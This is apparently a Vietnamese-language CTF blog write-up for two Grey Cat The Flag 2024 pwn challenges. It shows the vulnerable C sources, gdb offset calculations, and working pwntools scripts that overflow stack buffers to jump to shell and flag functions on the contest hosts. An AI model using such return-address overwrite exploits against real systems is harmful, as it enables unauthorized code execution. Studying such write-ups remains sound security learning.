1191 words
6 minutes
Grey Cat The Flag 2024 - Pwnable Writeup
2024-05-10

Baby Goods#

  • Challenge cho ta 2 file gồm một file thực thi là babygoods và 1 file code C babygoods.c

Source code#

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char username[0x20];

int menu(char name[0x20]);

int sub_15210123() {
    execve("/bin/sh", 0, 0);
}

int buildpram() {
    char buf[0x10];
    char size[4];
    int num;

    printf("\nChoose the size of the pram (1-5): ");
    fgets(size,4,stdin);
    size[strcspn(size, "\r\n")] = '\0';
    num = atoi(size);
    if (1 > num || 5 < num) {
        printf("\nInvalid size!\n");
        return 0;
    }

    printf("\nYour pram has been created! Give it a name: ");
    //buffer overflow! user can pop shell directly from here
    gets(buf);
    printf("\nNew pram %s of size %s has been created!\n", buf, size);
    return 0;
}

int exitshop() {
    puts("\nThank you for visiting babygoods!\n");
    exit(0);
}

int menu(char name[0x20]) {
    char input[4];
    do {
        printf("\nHello %s!\n", name);
        printf("Welcome to babygoods, where we provide the best custom baby goods!\nWhat would you like to do today?\n");
        printf("1: Build new pram\n");
        printf("2: Exit\n");
        printf("Input: ");
        fgets(input, 4, stdin);
        input[strcspn(input, "\r\n")] = '\0';
        switch (atoi(input))
        {
        case 1:
            buildpram();
            break;
        default:
            printf("\nInvalid input!\n==========\n");
            menu(name);
        }
    } while (atoi(input) != 2);
    exitshop();
}

int main() {
        setbuf(stdin, 0);
        setbuf(stdout, 0);

    printf("Enter your name: ");
    fgets(username,0x20,stdin);
    username[strcspn(username, "\r\n")] = '\0';
    menu(username);
    return 0;
}
  • Nhìn vào mã nguồn ta thấy lỗi rất rõ ở hàm buildpram() ở hàm gets(buf) cho phép nhận đầu vào không giới hạn dẫn đến lỗi Buffer Overflow cho phép ghi đè vào các bộ đệm lân cận. Xem các biện pháp bảo vệ của chương trình
gef➤  checksec
[+] checksec for '/home/s4ngxg/ctf/grey2024/distribution/babygoods'
Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial
  • Canary không được bật nên ta có thể khai thác lỗi Buffer Overflow, ta thấy hàm sub_15210123() gọi shell trên hệ thống. Mục tiêu bây giờ là gì đè địa chỉ của hàm sub_15210123() vào địa chỉ trả về của hàm buildpram()
  • Debug để tìm các địa chỉ trả về của hàm buildpram() và địa chỉ bắt đầu của hàm sub_15210123() image
  • Địa chỉ hàm sub_15210123()0x401236 image
  • Ta thấy sau khi gọi hàm buildpram() thì tới lệnh tiếp theo ở địa chỉ 0x0000000000401404, đó chính là địa chỉ trả về của hàm buildpram()
  • Đặt breakpoint ngay lệnh gets() và lệnh ret trong hàm buildpram() để tìm địa chỉ trong stack và từ đó tìm được ofset image Địa chỉ của biến buf trong stack là 0x00007fffffffdfb0
  • image Địa chỉ của lệnh trả về trong stack là 0x00007fffffffdfd8
  • Ofset là 0x00007fffffffdfd8 - 0x00007fffffffdfb0 = 40 byte

Script#

from pwn import *

sub_address = 0x401236

p = remote('challs.nusgreyhats.org', 32345)

p.sendlineafter('name: ', b'S4nGxG')
p.sendlineafter('Input: ', b'1')
p.sendlineafter('(1-5): ', b'5')

payload = b'A'*40
payload += p64(sub_address)

p.sendlineafter('name: ', payload)

p.interactive()

grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by}#

The Motorala#

Source code#

#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>


char* pin;

// this is the better print, because i'm cool like that ;)
void slow_type(char* msg) {
        int i = 0;
        while (1) {
                if (!msg[i])
                        return;
                putchar(msg[i]);
                usleep(5000);
                i += 1;
        }
}

void view_message() {
        int fd = open("./flag.txt", O_RDONLY);
        char* flag = calloc(0x50, sizeof(char));
        read(fd , flag, 0x50);
        close(fd);
        slow_type("\n\e[1;93mAfter several intense attempts, you successfully breach the phone's defenses.\nUnlocking its secrets, you uncover a massive revelation that holds the power to reshape everything.\nThe once-elusive truth is now in your hands, but little do you know, the plot deepens, and the journey through the clandestine hideout takes an unexpected turn, becoming even more complicated.\n\e[0m");
        printf("\n%s\n", flag);
        exit(0);
}

void retrieve_pin(){
        FILE* f = fopen("./pin", "r");
        pin = malloc(0x40);
        memset(pin, 0, 0x40);
        fread(pin, 0x30, 0x1, f);
        fclose(f);
}

void login() {
        char attempt[0x30];
        int count = 5;

        for (int i = 0; i < 5; i++) {
                memset(attempt, 0, 0x30);
                printf("\e[1;91m%d TRIES LEFT.\n\e[0m", 5-i);
                printf("PIN: ");
                scanf("%s", attempt);
                if (!strcmp(attempt, pin)) {
                        view_message();
                }
        }
        slow_type("\n\e[1;33mAfter five unsuccessful attempts, the phone begins to emit an alarming heat, escalating to a point of no return. In a sudden burst of intensity, it explodes, sealing your fate.\e[0m\n\n");
}

void banner() {

        slow_type("\e[1;33mAs you breached the final door to TACYERG's hideout, anticipation surged.\nYet, the room defied expectations – disorder reigned, furniture overturned, documents scattered, and the vault empty.\n'Yet another dead end,' you muttered under your breath.\nAs you sighed and prepared to leave, a glint caught your eye: a cellphone tucked away under unkempt sheets in a corner.\nRecognizing it as potentially the last piece of evidence you have yet to find, you picked it up with a growing sense of anticipation.\n\n\e[0m");

    puts("                         .--.");
        puts("                         |  | ");
        puts("                         |  | ");
        puts("                         |  | ");
        puts("                         |  | ");
        puts("        _.-----------._  |  | ");
        puts("     .-'      __       `-.  | ");
        puts("   .'       .'  `.        `.| ");
        puts("  ;         :    :          ; ");
        puts("  |         `.__.'          | ");
        puts("  |   ___                   | ");
        puts("  |  (_M_) M O T O R A L A  | ");
        puts("  | .---------------------. | ");
        puts("  | |                     | | ");
        puts("  | |      \e[0;91mYOU HAVE\e[0m       | | ");
        puts("  | |  \e[0;91m1 UNREAD MESSAGE.\e[0m  | | ");
        puts("  | |                     | | ");
        puts("  | |   \e[0;91mUNLOCK TO VIEW.\e[0m   | | ");
        puts("  | |                     | | ");
        puts("  | `---------------------' | ");
        puts("  |                         | ");
        puts("  |                __       | ");
        puts("  |  ________  .-~~__~~-.   | ");
        puts("  | |___C___/ /  .'  `.  \\  | ");
        puts("  |  ______  ;   : OK :   ; | ");
        puts("  | |__A___| |  _`.__.'_  | | ");
        puts("  |  _______ ; \\< |  | >/ ; | ");
        puts("  | [_=]                                          \n");

        slow_type("\e[1;94mLocked behind a PIN, you attempt to find a way to break into the cellphone, despite only having 5 tries.\e[0m\n\n");
}


void init() {
        setbuf(stdin, 0);
        setbuf(stdout, 0);
        retrieve_pin();
        printf("\e[2J\e[H");
}

int main() {
        init();
        banner();
        login();
}
  • Kiểm tra các trạng thái bảo vệ được bật image
  • Tiếp theo nhìn vào code ta có thể thấy được lỗi nằm ở hàm scanf("%s", attempt); khi nhận đầu vào không được giới hạn trong khi mảng attempt được giới hạn 0x30 byte nên dẫn đến lỗi Buffer Overflowcanary không được bật nên ta có thể khai thác lỗi này
  • Tương tự challenge Baby Goods ta cũng tìm địa chỉ stack của attempt và của địa chỉ trả về hàm login() để tìm ofset, sau đó overwrite địa của hàm view_message()
  • Đặt breakpoint tại sau lệnh gọi hàm scanf và lệnh ret trong hàm login() để tìm địa chỉ của chúng trên stack image Địa chỉ attempt0x00007fffffffdff0 image Địa chỉ trả về trên stack là 0x00007fffffffe038
  • Sau đó tìm ofset 0x00007fffffffe038 - 0x00007fffffffdff0 = 72 byte
  • Tương tự như challenge trước ta viết script và khai thác, nhưng không thể vì đã gặp một lỗi. Theo tìm hiểu thì lỗi này vì ngay địa chỉ thực thi của stack không chia hết cho 16 nên ta cần phải pading cho địa chỉ này một địa chỉ khác và sau đó là địa chỉ trả về của hàm view_message(). Ý tưởng ở đây là thêm vào địa chỉ lệnh ret của hàm bất kì để sau đó có thể nhày đến địa chỉ hàm view_message()

Script#

from pwn import *

view_message_address =  0x40138e

p = remote('challs.nusgreyhats.org', 30211)
#p = process('./chall')

payload = b'a'*72
payload += p64(0x401564)
payload += p64(view_message_address)

p.sendlineafter('PIN: ',payload)

p.interactive()

grey{g00d_w4rmup_for_p4rt_2_hehe}#

Grey Cat The Flag 2024 - Pwnable Writeup
https://blog.s4ngxg.site/posts/ctf/grey-cat-the-flag-2024---pwnable-writeup/
Author
S4nGxG
Published at
2024-05-10
License
CC BY-NC-SA 4.0